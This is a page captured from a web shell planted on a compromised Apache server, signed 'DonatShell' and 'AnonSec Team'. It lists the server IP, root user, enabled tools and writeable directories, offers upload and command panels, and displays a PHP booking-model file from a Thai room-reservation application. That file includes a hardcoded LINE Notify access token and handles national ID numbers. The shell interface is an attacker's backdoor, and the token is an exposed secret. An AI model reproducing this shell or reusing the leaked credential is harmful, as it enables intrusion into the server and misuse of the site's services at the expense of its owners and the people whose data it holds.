%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 49.231.201.246  /  Your IP : 216.73.216.149
Web Server : Apache/2.4.18 (Ubuntu)
System : Linux 246 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
User : root ( 0)
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/11585/cwd/html/ppaobm/frontend/modules/booking/models/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /proc/11585/cwd/html/ppaobm/frontend/modules/booking/models/BookingData.php
<?php

namespace frontend\modules\booking\models;

use Yii;
use yii\behaviors\TimestampBehavior;
use yii\web\UploadedFile;
use yii\db\ActiveRecord;
use dektrium\user\models\User;
use backend\models\LineBot;
use frontend\modules\booking\models\LocationCenter;
/**
 * This is the model class for table "booking_data".
 *
 * @property int $id
 * @property string $dateon วันที่ขอใช้บริการ
 * @property string $datein วันที่ใช้บริการ
 * @property string $name ชื่อ-นามสกุล
 * @property string $pin หมายเลขประจำตัวประชาชน
 * @property string $department_name ชื่อหน่วยงาน
 * @property int $department_type_id ประเภทผู้ขอใช้
 * @property string $tel หมายเลขโทรศัพท์
 * @property string $picture ภาพถ่ายบัตรประจำตัวข้าราชการ/พนักงาน/บัตรประชาชน
 * @property int $location_center_id ขอใช้สถานที่
 * @property int $location_room_id ส่วนที่ขอใช้บริการ
 * @property string $title โครงการ/กิจกรรม
 * @property int $num_user จำนวนผู้เข้าใช้
 * @property string $comment หมายเหตุ
 * @property string $waivefees ของดเว้นค่าธรรมเนียม เนื่องจาก
 * @property int $cost ค่าตอบแทน
 * @property string $filename ไฟล์เอกสารขอใช้บริการ (ถ้ามี)
 * @property int $status
 * @property string $created_at
 * @property string $updated_at
 * @property int $user_id ผู้บันทึก
 *
 * @property DepartmentType $departmentType
 * @property LocationCenter $locationCenter
 * @property LocationRoom $locationRoom
 */
class BookingData extends \yii\db\ActiveRecord {

    /**
     * {@inheritdoc}
     */
    public $upload_foler = 'files';

    public static function tableName() {
        return 'booking_data';
    }

    /**
     * {@inheritdoc}
     */
    public function behaviors() {
        return [
            'timestamp' => [
                'class' => TimestampBehavior::className(),
//                'attributes' => [
//                    MyActiveRecord::EVENT_BEFORE_INSERT => ['created_at', 'updated_at'],
//                    MyActiveRecord::EVENT_BEFORE_UPDATE => ['updated_at'],
//                ],
                'value' => function($event) {
                    return date('Y-m-d H:i:s');
                },
//                'createdAtAttribute' => 'created_at',
//                'updatedAtAttribute' => 'updated_at',
//                'value' => date("Y-m-d H:i:s"),
            ],
        ];
    }

    public function rules() {
        return [
            [['dateon', 'datein', 'created_at', 'updated_at'], 'safe'],
            [['department_type_id', 'location_center_id', 'location_room_id', 'name', 'pin', 'tel', 'datein', 'dateon'], 'required'],
            [['department_type_id', 'location_center_id', 'location_room_id', 'num_user', 'cost', 'status', 'user_id'], 'integer'],
            [['comment'], 'string'],
            [['name', 'department_name', 'title', 'waivefees'], 'string', 'max' => 255],
            [['pin', 'tel'], 'string', 'max' => 45],
            [['filename', 'picture'], 'file',
                'skipOnEmpty' => true,
                'extensions' => 'pdf,jpg,png',
                'maxSize' => 51200000,
                'tooBig' => 'ขนาดไฟล์ต้องไม่เกิน 50MB'
            ],
            [['cost', 'status', 'num_user'], 'default', 'value' => 0],
            [['user_id'], 'default', 'value' => 99],
            [['department_type_id'], 'exist', 'skipOnError' => true, 'targetClass' => DepartmentType::className(), 'targetAttribute' => ['department_type_id' => 'id']],
            [['location_center_id'], 'exist', 'skipOnError' => true, 'targetClass' => LocationCenter::className(), 'targetAttribute' => ['location_center_id' => 'id']],
            [['location_room_id'], 'exist', 'skipOnError' => true, 'targetClass' => LocationRoom::className(), 'targetAttribute' => ['location_room_id' => 'id']],
        ];
    }

    /**
     * {@inheritdoc}
     */
    public function attributeLabels() {
        return [
            'id' => 'ID',
            'dateon' => 'ถึงวันที่',
            'datein' => 'วันที่ใช้บริการ',
            'name' => 'ชื่อ-นามสกุล',
            'pin' => 'หมายเลขประจำตัวประชาชน',
            'department_name' => 'ชื่อหน่วยงาน',
            'department_type_id' => 'ประเภทผู้ขอใช้',
            'tel' => 'หมายเลขโทรศัพท์',
            'picture' => 'ภาพถ่ายบัตรประจำตัวข้าราชการ/พนักงาน/บัตรประชาชน',
            'location_center_id' => 'ขอใช้สถานที่',
            'location_room_id' => 'ส่วนที่ขอใช้บริการ',
            'title' => 'โครงการ/กิจกรรม',
            'num_user' => 'จำนวนผู้เข้าใช้',
            'comment' => 'หมายเหตุ',
            'waivefees' => 'ของดเว้นค่าธรรมเนียม เนื่องจาก',
            'cost' => 'ค่าตอบแทน',
            'filename' => 'ไฟล์เอกสารขอใช้บริการ (ถ้ามี)',
            'status' => 'Status',
            'created_at' => 'Created At',
            'updated_at' => 'Updated At',
            'user_id' => 'ผู้บันทึก',
        ];
    }

    /**
     * @return \yii\db\ActiveQuery
     */
    public function getDepartmentType() {
        return $this->hasOne(DepartmentType::className(), ['id' => 'department_type_id']);
    }

    /**
     * @return \yii\db\ActiveQuery
     */
    public function getLocationCenter() {
        return $this->hasOne(LocationCenter::className(), ['id' => 'location_center_id']);
    }

    /**
     * @return \yii\db\ActiveQuery
     */
    public function getLocationRoom() {
        return $this->hasOne(LocationRoom::className(), ['id' => 'location_room_id']);
    }

    public function getUser() {
        return $this->hasOne(User::className(), ['id' => 'user_id']);
    }

    public function upload($model, $attribute) {
        $delold = BookingData::find()->where(['id' => $model->id])->one();

        $file = UploadedFile::getInstance($model, $attribute);
        $path = $this->getUploadPath();

        if ($this->validate() && $file !== null) {

            $directory = \Yii::getAlias('@backend/web/files');
            if (!$model->isNewRecord) {
                if (is_file($directory . DIRECTORY_SEPARATOR . $delold->filename)) {

                    unlink($directory . DIRECTORY_SEPARATOR . $delold->filename);
                }
            }
            $fName = md5($file->baseName . time()) . '.' . $file->extension;
            if ($file->saveAs($path . $fName)) {
                return $fName;
            }
        }
        return $model->isNewRecord ? false : $model->getOldAttribute($attribute);
    }

    public function uploadpic($model, $attribute) {
        $delold = BookingData::find()->where(['id' => $model->id])->one();

        $file = UploadedFile::getInstance($model, $attribute);
        $path = $this->getUploadPath();

        if ($this->validate() && $file !== null) {

            $directory = \Yii::getAlias('@backend/web/files');
            if (!$model->isNewRecord) {
                if (is_file($directory . DIRECTORY_SEPARATOR . $delold->picture)) {

                    unlink($directory . DIRECTORY_SEPARATOR . $delold->picture);
                }
            }
            $fName = md5($file->baseName . time()) . '.' . $file->extension;
            if ($file->saveAs($path . $fName)) {
                return $fName;
            }
        }
        return $model->isNewRecord ? false : $model->getOldAttribute($attribute);
    }

    public function getUploadPath() {
        return Yii::getAlias('@backend/web') . '/' . $this->upload_foler . '/';
    }

    public function getUploadUrl() {
        return Yii::getAlias('@backend') . '/' . $this->upload_foler . '/';
    }

    public function getPhotoViewer() {
        return empty($this->filename) ? Yii::getAlias('@backend') . '/files/nodoc.png' : $this->getUploadUrl() . $this->filename;
    }
    
    public function Linebot($id) {
        $data = BookingData::find()->where(['id' => $id])->one();
        $location = LocationCenter::find()->where(['id' => $data->location_center_id])->one();
        $message = $data->name . ' (' . $data->tel . ')' . ' ขอใช้ห้องประชุม ' . $location->name . ' วันที่ ' . Yii::$app->thaiFormatter->asDateTime($data->datein, 'php:d F พ.ศ. Y เวลา H:i') . ' จำนวนผู้เข้าใช้ ' . $data->num_user . ' คน';
        $model = new LineBot();
        $model->message = $message;
        $model->save(false);

        $res = $this->notify_message($message);
    }

    public function notify_message($message) {
        $line_api = 'https://notify-api.line.me/api/notify';
        $line_token = 'WNizt7OkNVkjphvfFbS9a4kxecIpjTvMkpdDYHOU8pK';
        $array = array(2,4,5,10,13,14,106,107,110,114,119,124,125,132,134,137,402,407,409,410);
        $random = array_rand( $array , 2 );
        $output = ( $array[ $random[0] ]);

        $queryData = array(
            'message' => $message,
            'stickerPackageId' => 1,
            'stickerId' => $output
        );
        $queryData = http_build_query($queryData, '', '&');
        $headerOptions = array(
            'http' => array(
                'method' => 'POST',
                'header' => "Content-Type: application/x-www-form-urlencoded\r\n"
                . "Authorization: Bearer " . $line_token . "\r\n"
                . "Content-Length: " . strlen($queryData) . "\r\n",
                'content' => $queryData
            )
        );
        $context = stream_context_create($headerOptions);
        $result = file_get_contents($line_api, FALSE, $context);
        $res = json_decode($result);
        return $res;
    }

}

Anon7 - 2022
AnonSec Team